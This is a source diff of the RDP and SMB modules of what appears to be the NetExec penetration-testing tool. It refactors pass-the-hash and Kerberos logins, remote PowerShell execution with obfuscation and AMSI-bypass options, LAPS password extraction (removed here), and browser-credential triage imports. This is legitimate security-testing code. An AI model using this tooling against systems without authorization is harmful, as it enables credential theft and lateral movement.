@@ -210,7 +226,17 @@ class rdp(connection):
             else:
                 stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
 
-            kerberos_target = UniTarget(self.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=self.domain, domain=self.domain)
+            kerberos_target = UniTarget(
+                self.host,
+                88,
+                UniProto.CLIENT_TCP,
+                timeout=self.args.rdp_timeout,
+                hostname=self.remoteName,
+                dc_ip=self.kdcHost,
+                domain=self.domain,
+                proxies=None,
+                dns=None,
+            )
             self.auth = KerberosCredential(
                 target=kerberos_target,
                 secret=password,
@@ -233,7 +259,7 @@ class rdp(connection):
                     self.mark_pwned(),
                 )
             )
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(username, domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -279,7 +305,7 @@ class rdp(connection):
 
             self.admin_privs = True
             self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(username, domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -313,7 +339,7 @@ class rdp(connection):
 
             self.admin_privs = True
             self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(username, domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)

nxc/protocols/rdp/database.py

@@ -57,7 +57,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/rdp/proto_args.py

@@ -1,8 +1,11 @@
-def proto_args(parser, std_parser, module_parser):
-    rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=[std_parser, module_parser])
+from nxc.helpers.args import DisplayDefaultsNotNone
+
+
+def proto_args(parser, parents):
+    rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=parents, formatter_class=DisplayDefaultsNotNone)
     rdp_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
-    rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port")
-    rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection, defalut is %(default)ss")
+    rdp_parser.add_argument("--port", type=int, default=3389, help="RDP port")
+    rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection")
     rdp_parser.add_argument("--nla-screenshot", action="store_true", help="Screenshot RDP login prompt if NLA is disabled")
 
     dgroup = rdp_parser.add_mutually_exclusive_group()
@@ -11,7 +14,7 @@ def proto_args(parser, std_parser, module_parser):
 
     egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
     egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
-    egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image, default is %(default)ss")
-    egroup.add_argument("--res", default="1024x768", help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"')
+    egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
+    egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
 
     return parser

nxc/protocols/smb.py

@@ -1,5 +1,4 @@
 import ntpath
-import hashlib
 import binascii
 import os
 import re
@@ -44,19 +43,19 @@ from nxc.protocols.smb.smbspider import SMBSpider
 from nxc.protocols.smb.passpol import PassPolDump
 from nxc.protocols.smb.samruser import UserSamrDump
 from nxc.protocols.smb.samrfunc import SamrFunc
-from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
 from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
 from nxc.helpers.logger import highlight
 from nxc.helpers.bloodhound import add_user_bh
 from nxc.helpers.powershell import create_ps_command
 
 from dploot.triage.vaults import VaultsTriage
-from dploot.triage.browser import BrowserTriage
+from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken
 from dploot.triage.credentials import CredentialsTriage
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 from dploot.triage.backupkey import BackupkeyTriage
 from dploot.lib.target import Target
 from dploot.lib.smb import DPLootSMBConnection
+from dploot.triage.sccm import SCCMTriage
 
 from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup
 
@@ -65,7 +64,6 @@ from datetime import datetime
 from functools import wraps
 from traceback import format_exc
 import logging
-from json import loads
 from termcolor import colored
 import contextlib
 
@@ -214,8 +212,23 @@ class smb(connection):
                 # no ntlm supported
                 self.no_ntlm = True
 
-        self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain
-        self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host
+        # self.domain is the attribute we authenticate with
+        # self.targetDomain is the attribute which gets displayed as host domain
+        if not self.no_ntlm:
+            self.hostname = self.conn.getServerName()
+            self.targetDomain = self.conn.getServerDNSDomainName()
+            if not self.targetDomain:   # Not sure if that can even happen but now we are safe
+                self.targetDomain = self.hostname
+        else:
+            self.hostname = self.host
+            self.targetDomain = self.hostname
+
+        self.domain = self.targetDomain if not self.args.domain else self.args.domain
+
+        if self.args.local_auth:
+            self.domain = self.hostname
+            self.targetDomain = self.hostname
+
         self.server_os = self.conn.getServerOS()
         self.logger.extra["hostname"] = self.hostname
 
@@ -230,9 +243,6 @@ class smb(connection):
         self.os_arch = self.get_os_arch()
         self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
 
-        if not self.domain:
-            self.domain = self.hostname
-
         self.db.add_host(
             self.host,
             self.hostname,
@@ -247,170 +257,74 @@ class smb(connection):
             self.conn.logoff()
         except Exception as e:
             self.logger.debug(f"Error logging off system: {e}")
+        
+        # DCOM connection with kerberos needed
+        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
 
-        if self.args.domain:
-            self.domain = self.args.domain
-        if self.args.local_auth:
-            self.domain = self.hostname
-
-    def laps_search(self, username, password, ntlm_hash, domain):
-        self.logger.extra["protocol"] = "LDAP"
-        self.logger.extra["port"] = "389"
-
-        ldapco = LDAPConnect(self.domain, "389", self.domain)
-
-        if self.kerberos:
-            if self.kdcHost is None:
-                self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
-                return False
-
-            connection = ldapco.kerberos_login(
-                domain,
-                username[0] if username else "",
-                password[0] if password else "",
-                ntlm_hash[0] if ntlm_hash else "",
-                kdcHost=self.kdcHost,
-                aesKey=self.aesKey,
-            )
-        else:
-            connection = ldapco.auth_login(
-                domain,
-                username[0] if username else "",
-                password[0] if password else "",
-                ntlm_hash[0] if ntlm_hash else "",
-            )
-        if not connection:
-            self.logger.fail(f"LDAP connection failed with account {username[0]}")
-
-            return False
-
-        search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
-        attributes = [
-            "msLAPS-EncryptedPassword",
-            "msLAPS-Password",
-            "ms-MCS-AdmPwd",
-            "sAMAccountName",
-        ]
-        results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
-
-        msMCSAdmPwd = ""
-        sAMAccountName = ""
-        username_laps = ""
-
-        from impacket.ldap import ldapasn1 as ldapasn1_impacket
-
-        results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
-        if len(results) != 0:
-            for host in results:
-                values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
-                if "mslaps-encryptedpassword" in values:
-                    msMCSAdmPwd = values["mslaps-encryptedpassword"]
-                    d = LAPSv2Extract(bytes(msMCSAdmPwd), username[0] if username else "", password[0] if password else "", domain, ntlm_hash[0] if ntlm_hash else "", self.args.kerberos, self.args.kdcHost, 339)
-                    try:
-                        data = d.run()
-                    except Exception as e:
-                        self.logger.fail(str(e))
-                        return None
-                    r = loads(data)
-                    msMCSAdmPwd = r["p"]
-                    username_laps = r["n"]
-                elif "mslaps-password" in values:
-                    r = loads(str(values["mslaps-password"]))
-                    msMCSAdmPwd = r["p"]
-                    username_laps = r["n"]
-                elif "ms-mcs-admpwd" in values:
-                    msMCSAdmPwd = str(values["ms-mcs-admpwd"])
-                else:
-                    self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
-            logging.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
-        else:
-            self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
-
-            return False
-
-        self.username = username_laps if username_laps else self.args.laps
-        self.password = msMCSAdmPwd
-
-        if msMCSAdmPwd == "":
-            self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
-
-            return False
-        if ntlm_hash:
-            hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
-            self.hash = binascii.hexlify(hash_ntlm).decode()
-
-        self.args.local_auth = True
-        self.domain = self.hostname
-        self.logger.extra["protocol"] = "SMB"
-        self.logger.extra["port"] = "445"
-        return True
+        if not self.kdcHost and self.domain:
+            result = self.resolver(self.domain)
+            self.kdcHost = result["host"] if result else None
+            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
 
     def print_host_info(self):
         signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
         smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
-        self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
-        if self.args.laps:
-            return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
+        self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
         return True
 
     def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
         logging.getLogger("impacket").disabled = True
         # Re-connect since we logged off
-        kdc_host = f"{self.hostname}.{self.domain}" if not self.no_ntlm else f"{self.host}"
-        self.logger.debug(f"KDC set to: {kdc_host}")
-        self.create_conn_obj(kdc_host)
+        self.logger.debug(f"KDC set to: {kdcHost}")
+        self.create_conn_obj()
         lmhash = ""
         nthash = ""
 
         try:
-            if not self.args.laps:
-                self.password = password
-                self.username = username
-                # This checks to see if we didn't provide the LM Hash
-                if ntlm_hash.find(":") != -1:
-                    lmhash, nthash = ntlm_hash.split(":")
-                    self.hash = nthash
-                else:
-                    nthash = ntlm_hash
-                    self.hash = ntlm_hash
-                if lmhash:
-                    self.lmhash = lmhash
-                if nthash:
-                    self.nthash = nthash
-
-                if not all(s == "" for s in [self.nthash, password, aesKey]):
-                    kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
-                else:
-                    kerb_pass = ""
-                    self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
-
-                tgs = None
-                if self.args.delegate:
-                    kerb_pass = ""
-                    self.username = self.args.delegate
-                    serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
-                    tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
-                    self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
-
-                self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
-                self.check_if_admin()
-
-                if username == "":
-                    self.username = self.conn.getCredentials()[0]
-                elif not self.args.delegate:
-                    self.username = username
-
-                used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
-                if self.args.delegate:
-                    used_ccache = f" through S4U with {username}"
+            self.password = password
+            self.username = username
+            # This checks to see if we didn't provide the LM Hash
+            if ntlm_hash.find(":") != -1:
+                lmhash, nthash = ntlm_hash.split(":")
+                self.hash = nthash
             else:
-                self.plaintext_login(self.hostname, username, password)
-                return True
+                nthash = ntlm_hash
+                self.hash = ntlm_hash
+            if lmhash:
+                self.lmhash = lmhash
+            if nthash:
+                self.nthash = nthash
+
+            if not all(s == "" for s in [self.nthash, password, aesKey]):
+                kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
+            else:
+                kerb_pass = ""
+                self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
+
+            tgs = None
+            if self.args.delegate:
+                kerb_pass = ""
+                self.username = self.args.delegate
+                serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
+                tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
+                self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
+
+            self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
+            self.check_if_admin()
+
+            if username == "":
+                self.username = self.conn.getCredentials()[0]
+            elif not self.args.delegate:
+                self.username = username
+
+            used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
+            if self.args.delegate:
+                used_ccache = f" through S4U with {username}"
 
             out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
             self.logger.success(out)
 
-            if not self.args.local_auth and not self.args.delegate:
+            if not self.args.local_auth and self.username != "" and not self.args.delegate:
                 add_user_bh(self.username, domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -456,17 +370,11 @@ class smb(connection):
         # Re-connect since we logged off
         self.create_conn_obj()
         try:
-            if not self.args.laps:
-                self.password = password
-                self.username = username
+            self.password = password
+            self.username = username
             self.domain = domain
 
-            try:
-                self.conn.login(self.username, self.password, domain)
-            except UnicodeEncodeError:
-                self.logger.error(f"UnicodeEncodeError on: '{self.username}:{self.password}'. Trying again with a different encoding...")
-                self.create_conn_obj()
-                self.conn.login(self.username, self.password.encode().decode("latin-1"), domain)
+            self.conn.login(self.username, self.password, domain)
 
             self.check_if_admin()
             self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
@@ -479,7 +387,7 @@ class smb(connection):
             out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
             self.logger.success(out)
 
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
@@ -521,23 +429,19 @@ class smb(connection):
         lmhash = ""
         nthash = ""
         try:
-            if not self.args.laps:
-                self.username = username
-                # This checks to see if we didn't provide the LM Hash
-                if ntlm_hash.find(":") != -1:
-                    lmhash, nthash = ntlm_hash.split(":")
-                    self.hash = nthash
-                else:
-                    nthash = ntlm_hash
-                    self.hash = ntlm_hash
-                if lmhash:
-                    self.lmhash = lmhash
-                if nthash:
-                    self.nthash = nthash
-            else:
-                nthash = self.hash
-
             self.domain = domain
+            self.username = username
+            # This checks to see if we didn't provide the LM Hash
+            if ntlm_hash.find(":") != -1:
+                lmhash, nthash = ntlm_hash.split(":")
+                self.hash = nthash
+            else:
+                nthash = ntlm_hash
+                self.hash = ntlm_hash
+            if lmhash:
+                self.lmhash = lmhash
+            if nthash:
+                self.nthash = nthash
 
             self.conn.login(self.username, "", domain, lmhash, nthash)
 
@@ -550,7 +454,7 @@ class smb(connection):
             out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
             self.logger.success(out)
 
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id)
@@ -579,11 +483,11 @@ class smb(connection):
             self.logger.fail("Broken Pipe Error while attempting to login")
             return False
 
-    def create_smbv1_conn(self, kdc=""):
+    def create_smbv1_conn(self):
         try:
             self.conn = SMBConnection(
-                kdc if kdc else self.host,
-                kdc if kdc else self.host,
+                self.remoteName,
+                self.host,
                 None,
                 self.port,
                 preferredDialect=SMB_DIALECT,
@@ -592,19 +496,19 @@ class smb(connection):
             self.smbv1 = True
         except OSError as e:
             if str(e).find("Connection reset by peer") != -1:
-                self.logger.info(f"SMBv1 might be disabled on {kdc if kdc else self.host}")
+                self.logger.info(f"SMBv1 might be disabled on {self.host}")
             return False
         except (Exception, NetBIOSTimeout) as e:
-            self.logger.info(f"Error creating SMBv1 connection to {kdc if kdc else self.host}: {e}")
+            self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
             return False
 
         return True
 
-    def create_smbv3_conn(self, kdc=""):
+    def create_smbv3_conn(self):
         try:
             self.conn = SMBConnection(
-                kdc if kdc else self.host,
-                kdc if kdc else self.host,
+                self.remoteName,
+                self.host,
                 None,
                 self.port,
                 timeout=self.args.smb_timeout,
@@ -616,15 +520,15 @@ class smb(connection):
                 if not self.logger:
                     print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
                     self.proto_logger()
-                self.logger.fail(f"SMBv3 connection error on {kdc if kdc else self.host}: {e}")
+                self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
             return False
         except (Exception, NetBIOSTimeout) as e:
-            self.logger.info(f"Error creating SMBv3 connection to {kdc if kdc else self.host}: {e}")
+            self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
             return False
         return True
 
-    def create_conn_obj(self, kdc_host=None):
-        return bool(self.create_smbv1_conn(kdc_host) or self.create_smbv3_conn(kdc_host))
+    def create_conn_obj(self):
+        return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
 
     def check_if_admin(self):
         rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
@@ -668,7 +572,7 @@ class smb(connection):
             if method == "wmiexec":
                 try:
                     exec_method = WMIEXEC(
-                        self.host if not self.kerberos else self.hostname + "." + self.domain,
+                        self.remoteName,
                         self.smb_share_name,
                         self.username,
                         self.password,
@@ -677,6 +581,7 @@ class smb(connection):
                         self.kerberos,
                         self.aesKey,
                         self.kdcHost,
+                        self.host,
                         self.hash,
                         self.args.share,
                         logger=self.logger,
@@ -691,18 +596,25 @@ class smb(connection):
                     continue
             elif method == "mmcexec":
                 try:
+                    # https://github.com/fortra/impacket/issues/1611
+                    if self.kerberos:
+                        raise Exception("MMCExec current is buggly with kerberos")
                     exec_method = MMCEXEC(
-                        self.host if not self.kerberos else self.hostname + "." + self.domain,
+                        self.remoteName,
                         self.smb_share_name,
                         self.username,
                         self.password,
                         self.domain,
                         self.conn,
-                        self.args.share,
+                        self.kerberos,
+                        self.aesKey,
+                        self.kdcHost,
+                        self.host,
                         self.hash,
-                        self.logger,
-                        self.args.get_output_tries,
-                        self.args.dcom_timeout
+                        self.args.share,
+                        logger=self.logger,
+                        timeout=self.args.dcom_timeout,
+                        tries=self.args.get_output_tries
                     )
                     self.logger.info("Executed command via mmcexec")
                     break
@@ -720,6 +632,7 @@ class smb(connection):
                         self.domain,
                         self.kerberos,
                         self.aesKey,
+                        self.host,
                         self.kdcHost,
                         self.hash,
                         self.logger,
@@ -738,12 +651,12 @@ class smb(connection):
                         self.host if not self.kerberos else self.hostname + "." + self.domain,
                         self.smb_share_name,
                         self.conn,
-                        self.port,
                         self.username,
                         self.password,
                         self.domain,
                         self.kerberos,
                         self.aesKey,
+                        self.host,
                         self.kdcHost,
                         self.hash,
                         self.args.share,
@@ -769,14 +682,19 @@ class smb(connection):
             except UnicodeDecodeError:
                 self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
                 output = output.decode("cp437")
-
-            output = output.strip()
-            self.logger.debug(f"Output: {output}")
+                
+            self.logger.debug(f"Raw Output: {output}")
+            output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
+            self.logger.debug(f"Cleaned Output: {output}")
+            
+            if "This script contains malicious content" in output:
+                self.logger.fail("Command execution blocked by AMSI")
+                return None
 
             if (self.args.execute or self.args.ps_execute) and output:
                 self.logger.success(f"Executed command via {current_method}")
-                buf = StringIO(output).readlines()
-                for line in buf:
+                output_lines = StringIO(output).readlines()
+                for line in output_lines:
                     self.logger.highlight(line.strip())
             return output
         else:
@@ -784,26 +702,30 @@ class smb(connection):
             return False
 
     @requires_admin
-    def ps_execute(
-        self,
-        payload=None,
-        get_output=False,
-        methods=None,
-        force_ps32=False,
-        dont_obfs=False,
-    ):
+    def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
+        payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
+        if not payload:
+            self.logger.error("No command to execute specified!")
+            return None
+        
         response = []
-        if not payload and self.args.ps_execute:
-            payload = self.args.ps_execute
-            if not self.args.no_output:
-                get_output = True
-
+        obfs = obfs if obfs else self.args.obfs
+        encode = encode if encode else not self.args.no_encode
+        force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
+        get_output = True if not self.args.no_output else get_output
+                
+        self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
         amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
+        self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
+        
         if os.path.isfile(payload):
+            self.logger.debug(f"File payload set: {payload}")
             with open(payload) as commands:
-                response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods) for c in commands]
+                response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
         else:
-            response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods)]
+            response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
+            
+        self.logger.debug(f"ps_execute response: {response}")
         return response
 
     def shares(self):
@@ -847,17 +769,23 @@ class smb(connection):
                 share_info["access"].append("READ")
             except SessionError as e:
                 error = get_error_string(e)
-                self.logger.debug(f"Error checking READ access on share: {error}")
+                self.logger.debug(f"Error checking READ access on share {share_name}: {error}")
 
             if not self.args.no_write_check:
                 try:
                     self.conn.createDirectory(share_name, temp_dir)
-                    self.conn.deleteDirectory(share_name, temp_dir)
                     write = True
                     share_info["access"].append("WRITE")
                 except SessionError as e:
                     error = get_error_string(e)
-                    self.logger.debug(f"Error checking WRITE access on share: {error}")
+                    self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}")
+
+                if write:
+                    try:
+                        self.conn.deleteDirectory(share_name, temp_dir)
+                    except SessionError as e:
+                        error = get_error_string(e)
+                        self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
 
             permissions.append(share_info)
 
@@ -1105,10 +1033,11 @@ class smb(connection):
         return groups
 
     def users(self):
-        self.logger.display("Trying to dump local users with SAMRPC protocol")
-        return UserSamrDump(self).dump()
+        if len(self.args.users) > 0:
+            self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
+        return UserSamrDump(self).dump(self.args.users)
 
-    def hosts(self):
+    def computers(self):
         hosts = []
         for dc_ip in self.get_dc_ips():
             try:
@@ -1130,7 +1059,7 @@ class smb(connection):
                     self.logger.highlight(f"{domain}\\{host_clean:<30}")
                 break
             except Exception as e:
-                self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}")
+                self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}")
                 break
         return hosts
 
@@ -1145,17 +1074,17 @@ class smb(connection):
                 lmhash=self.lmhash,
                 nthash=self.nthash,
             )
+            logged_on = {(f"{user.wkui1_logon_domain}\\{user.wkui1_username}", user.wkui1_logon_server) for user in logged_on}
             self.logger.success("Enumerated logged_on users")
             if self.args.loggedon_users_filter:
                 for user in logged_on:
-                    if re.match(self.args.loggedon_users_filter, user.wkui1_username):
-                        self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
+                    if re.match(self.args.loggedon_users_filter, user[0].split("\\")[1]):
+                        self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
             else:
                 for user in logged_on:
-                    self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
+                    self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
         except Exception as e:
             self.logger.fail(f"Error enumerating logged on users: {e}")
-        return logged_on
 
     def pass_pol(self):
         return PassPolDump(self).dump()
@@ -1170,9 +1099,9 @@ class smb(connection):
             namespace = self.args.wmi_namespace
 
         try:
-            dcom = DCOMConnection(self.host if not self.kerberos else self.hostname + "." + self.domain, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
+            dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
             iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
-            flag, stringBinding = dcom_FirewallChecker(iInterface, self.args.dcom_timeout)
+            flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
             if not flag or not stringBinding:
                 error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
 
@@ -1198,7 +1127,8 @@ class smb(connection):
                     record = wmi_results.getProperties()
                     records.append(record)
                     for k, v in record.items():
-                        self.logger.highlight(f"{k} => {v['value']}")
+                        if k != "TimeGenerated":  # from the wcc module, but this is a small hack to get it to stop spamming - TODO: add in method to disable output for this function
+                            self.logger.highlight(f"{k} => {v['value']}")
                 except Exception as e:
                     if str(e).find("S_FALSE") < 0:
                         raise e
@@ -1252,20 +1182,16 @@ class smb(connection):
             max_rid = int(self.args.rid_brute)
 
         KNOWN_PROTOCOLS = {
-            135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False},
-            139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
-            445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
+            135: {"bindstr": rf"ncacn_ip_tcp:{self.host}"},
+            139: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
+            445: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
         }
 
         try:
-            full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
             string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
             logging.debug(f"StringBinding {string_binding}")
             rpc_transport = transport.DCERPCTransportFactory(string_binding)
-            rpc_transport.set_dport(self.port)
-
-            if KNOWN_PROTOCOLS[self.port]["set_host"]:
-                rpc_transport.setRemoteHost(full_hostname)
+            rpc_transport.setRemoteHost(self.host)
 
             if hasattr(rpc_transport, "set_credentials"):
                 # This method exists only for selected protocol sequences.
@@ -1343,19 +1269,21 @@ class smb(connection):
         dce.disconnect()
         return entries
 
-    def put_file(self):
-        self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}")
-        with open(self.args.put_file[0], "rb") as file:
+    def put_file_single(self, src, dst):
+        self.logger.display(f"Copying {src} to {dst}")
+        with open(src, "rb") as file:
             try:
-                self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
-                self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}")
+                self.conn.putFile(self.args.share, dst, file.read)
+                self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
             except Exception as e:
                 self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
+    
+    def put_file(self):
+        for src, dest in self.args.put_file:
+            self.put_file_single(src, dest)
 
-    def get_file(self):
+    def get_file_single(self, remote_path, download_path):
         share_name = self.args.share
-        remote_path = self.args.get_file[0]
-        download_path = self.args.get_file[1]
         self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
         if self.args.append_host:
             download_path = f"{self.hostname}-{remote_path}"
@@ -1368,13 +1296,17 @@ class smb(connection):
                 if os.path.getsize(download_path) == 0:
                     os.remove(download_path)
 
+    def get_file(self):
+        for src, dest in self.args.get_file:
